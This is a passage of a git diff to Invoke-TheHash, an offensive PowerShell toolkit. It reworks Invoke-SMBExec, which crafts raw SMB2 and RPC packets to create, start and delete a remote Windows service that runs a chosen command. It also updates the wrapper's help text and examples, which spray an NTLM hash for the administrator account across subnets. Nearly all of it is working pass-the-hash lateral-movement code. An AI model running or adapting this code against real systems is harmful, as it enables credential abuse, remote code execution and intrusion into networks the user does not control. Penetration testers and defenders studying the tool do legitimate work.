Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) + 'Logoff' { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $stage_current = $stage + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'StartServiceW' - } + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - 'StartServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00') + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } + + 'OpenSCManagerW' { - Write-Verbose "Service $SMB_service created on $Target" - $SMB_service_context_handle = $SMB_client_receive[112..131] - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $stage_current = $stage + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } - $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle + $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x13,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length) $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) @@ -2368,245 +2542,411 @@ if($SMB_client.Connected) $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $packet_SMB2_header["Signature"] = $SMB2_signature $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - Write-Verbose "Trying to execute command on $Target" - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'DeleteServiceW' + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $stage = 'SendReceive' } - elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00') - { - Write-Output "Service $SMB_service creation failed on $Target" - $SMBExec_failed = $true - } - else - { - Write-Output "Service creation fault context mismatch" - $SMBExec_failed = $true - } - - } - - 'DeleteServiceW' - { - if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00') + 'ReadRequest' { - Write-Output "Command executed with service $SMB_service on $Target" + Start-Sleep -m $Sleep + $stage_current = $stage + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2ReadRequest $file_ID + $packet_SMB2_data["Length"] = 0xff,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' } - elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00') + + 'RPCBind' { - Write-Output "Service $SMB_service failed to start on $Target" + $stage_current = $stage + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $stage = 'SendReceive' } - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - - if($SMB_signing) + 'SendReceive' { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null - $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if(Get-StatusPending $client_receive[12..15]) + { + $stage = 'StatusPending' + } + else + { + $stage = 'StatusReceived' + } - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'CloseServiceHandle' - $SMB_close_service_handle_stage = 1 - } + 'StartServiceW' + { + + if([System.BitConverter]::ToString($client_receive[132..135]) -eq '00-00-00-00') + { + Write-Verbose "Service $SMB_service created on $Target" + $SMB_service_context_handle = $client_receive[112..131] + $stage_current = $stage + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } - 'CloseServiceHandle' - { + $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - if($SMB_close_service_handle_stage -eq 1) - { - Write-Verbose "Service $SMB_service deleted on $Target" - $SMB2_message_ID += 20 - $SMB_close_service_handle_stage++ - $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + Write-Verbose "[*] Trying to execute command on $Target" + $stage = 'SendReceive' + } + elseif([System.BitConverter]::ToString($client_receive[132..135]) -eq '31-04-00-00') + { + Write-Output "[-] Service $SMB_service creation failed on $Target" + $stage = 'Exit' + } + else + { + Write-Output "[-] Service creation fault context mismatch" + $stage = 'Exit' + } + } - else + + 'StatusPending' { - $SMB2_message_ID++ - $SMB_client_stage = 'CloseRequest' - $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00') + { + $stage = 'StatusReceived' + } + } - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - - if($SMB_signing) + 'StatusReceived' { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x00,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + switch ($stage_current) + { - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + 'CloseRequest' + { + $stage = 'TreeDisconnect' + } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - } + 'CloseServiceHandle' + { - 'CloseRequest' - { - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x06,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = Get-PacketSMB2CloseRequest $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if($SMB_close_service_handle_stage -eq 2) + { + $stage = 'CloseServiceHandle' + } + else + { + $stage = 'CloseRequest' + } - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'TreeDisconnect' - } + 'CreateRequest' + { + $file_ID = $client_receive[132..147] + + if($Refresh -and $stage -ne 'Exit') + { + Write-Output "[+] Session refreshed" + $stage = 'Exit' + } + elseif($stage -ne 'Exit') + { + $stage = 'RPCBind' + } - 'TreeDisconnect' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x04,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + } + + 'CreateServiceW' + { + $stage = 'ReadRequest' + $stage_next = 'StartServiceW' + } + + 'CreateServiceW_First' + { + + if($SMB_split_stage_final -le 2) + { + $stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $stage = 'CreateServiceW_Last' + } + else + { + $stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $stage = 'ReadRequest' + $stage_next = 'StartServiceW' + } + + 'DeleteServiceW' + { + $stage = 'ReadRequest' + $stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'Logoff' + { + $stage = 'Exit' + } + + 'OpenSCManagerW' + { + $stage = 'ReadRequest' + $stage_next = 'CheckAccess' + } + + 'ReadRequest' + { + $stage = $stage_next + } + + 'RPCBind' + { + $stage = 'ReadRequest' + $stage_next = 'OpenSCManagerW' + } + + 'StartServiceW' + { + $stage = 'ReadRequest' + $stage_next = 'DeleteServiceW' + } + + 'TreeConnect' + { + $tree_ID = $client_receive[40..43] + $stage = 'CreateRequest' + } + + 'TreeDisconnect' + { + + if($inveigh_session -and !$Logoff) + { + $stage = 'Exit' + } + else + { + $stage = 'Logoff' + } + + } + + } + + } - if($SMB_signing) + 'TreeConnect' { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = Get-PacketSMB2TreeDisconnectRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $tree_ID = $client_receive[40..43] + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'Logoff' - } + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - 'Logoff' - { - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x02,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if(Get-StatusPending $client_receive[12..15]) + { + $stage = 'StatusPending' + } + else + { + $stage = 'StatusReceived' + } + } + catch + { + Write-Output "[-] Session connection is closed" + $stage = 'Exit' + } + } - - $packet_SMB2_data = Get-PacketSMB2SessionLogoffRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - if($SMB_signing) + 'TreeDisconnect' { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $stage_current = $stage + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'Exit' - } + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - } + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } + + } - if($SMBExec_failed) - { - BREAK SMB_execute_loop } - - } + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + } } - $SMB_client.Close() - $SMB_client_stream.Close() + if($inveigh_session -and $Inveigh) + { + $inveigh.session_lock_table[$session] = 'open' + $inveigh.session_message_ID_table[$session] = $message_ID + $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} + } + + if(!$inveigh_session -or $Logoff) + { + $client.Close() + $client_stream.Close() + } + } }
\ No newline at end of file diff --git a/Invoke-TheHash.ps1 b/Invoke-TheHash.ps1 index ce64c51..8a3614c 100644 --- a/Invoke-TheHash.ps1 +++ b/Invoke-TheHash.ps1 @@ -3,20 +3,22 @@ function Invoke-TheHash <# .SYNOPSIS Invoke-TheHash has the ability to target multiple hosts with Invoke-SMBExec or Invoke-WMIExec. This function is -primarily for checking a hash against multiple systems. The function can also be used to execute commands -on multiple systems. Note that in most cases it's advisable to just open a single shell and then use other tools -from within that session. +primarily for checking a hash against multiple systems. The function can also be used to perform other tasks +against multiple hosts. + +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause .PARAMETER Type -Sets the desired Invoke-TheHash function. Set to either WMIExec or SMBExec. +(SMBClient/SMBEnum/SMBExec/WMIExec) Sets the desired Invoke-TheHash function. -.PARAMETER Targets -List of hostnames, IP addresses, or CIDR notation for targets. +.PARAMETER Target +List of hostnames, IP addresses, CIDR notation, or IP ranges for targets. -.PARAMETER TargetsExclude -List of hostnames and/or IP addresses to exclude form the list or targets. Note that the format -(hostname vs IP address) must match the format used with the Targets parameter. For example, if the host was added -to Targets within a CIDR notation, it must be excluded as an IP address. +.PARAMETER TargetExclude +List of hostnames, IP addresses, CIDR notation, or IP ranges to exclude form the list or targets. Note that the +format (hostname vs IP address) must match the format used with the Targets parameter. For example, if the host +was added to Targets within a CIDR notation, it must be excluded as an IP address and not a host name. .PARAMETER PortCheckDisable (Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up @@ -40,13 +42,15 @@ Command to execute on the target. If a command is not specified, the function wi .PARAMETER CommandCOMSPEC Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command. +.PARAMETER Action +(All,Group,NetSession,Share,User) Default = Share: SMBEnum enumeration action to perform. + +.PARAMETER Group +Default = Administrators: Group to enumerate with SMBEnum. + .PARAMETER Service Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target. -.PARAMETER SMB1 -(Switch) Force SMB1. SMBExec type only. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the -target. - .PARAMETER Sleep Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this setting if you are experiencing strange results. @@ -55,35 +59,33 @@ setting if you are experiencing strange results. Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 .EXAMPLE -$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -$target_list = ConvertTo-TargetList $target_output -Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose +Invoke-TheHash -Type SMBExec -Targets 192.168.100.1-100 -TargetsExclude 192.168.100.50 -Username user1 -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -domain test .LINK https://github.com/Kevin-Robertson/Invoke-TheHash #> -[CmdletBinding()] +[CmdletBinding(DefaultParametersetName='Default')] param ( - [parameter(Mandatory=$true)][Array]$Targets, - [parameter(Mandatory=$false)][Array]$TargetsExclude, - [parameter(Mandatory=$true)][String]$Username, - [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$true)][Array]$Target, + [parameter(Mandatory=$false)][Array]$TargetExclude, + [parameter(ParameterSetName='Auth',Mandatory=$true)][String]$Username, + [parameter(ParameterSetName='Auth',Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][ValidateSet("All","NetSession","Share","User","Group")][String]$Action = "All", + [parameter(Mandatory=$false)][String]$Group = "Administrators", [parameter(Mandatory=$false)][String]$Service, [parameter(Mandatory=$false)][String]$Command, [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y", - [parameter(Mandatory=$true)][ValidateSet("SMBExec","WMIExec")][String]$Type, + [parameter(Mandatory=$true)][ValidateSet("SMBClient","SMBEnum","SMBExec","WMIExec")][String]$Type, [parameter(Mandatory=$false)][Int]$PortCheckTimeout = 100, - [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(ParameterSetName='Auth',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, [parameter(Mandatory=$false)][Switch]$PortCheckDisable, - [parameter(Mandatory=$false)][Int]$Sleep, - [parameter(Mandatory=$false)][Switch]$SMB1 + [parameter(Mandatory=$false)][Int]$Sleep ) $target_list = New-Object System.Collections.ArrayList -$target_list_singles = New-Object System.Collections.ArrayList -$target_list_subnets = New-Object System.Collections.ArrayList +$target_exclude_list = New-Object System.Collections.ArrayList if($Type -eq 'WMIExec') { @@ -94,150 +96,263 @@ else $Sleep = 150 } -# subnet parsing code borrowed heavily from Rich Lundeen's Invoke-Portscan -foreach($target in $Targets) +for($i=0;$i -lt $target.Count;$i++) { - if($target.contains("/")) + if($target[$i] -like 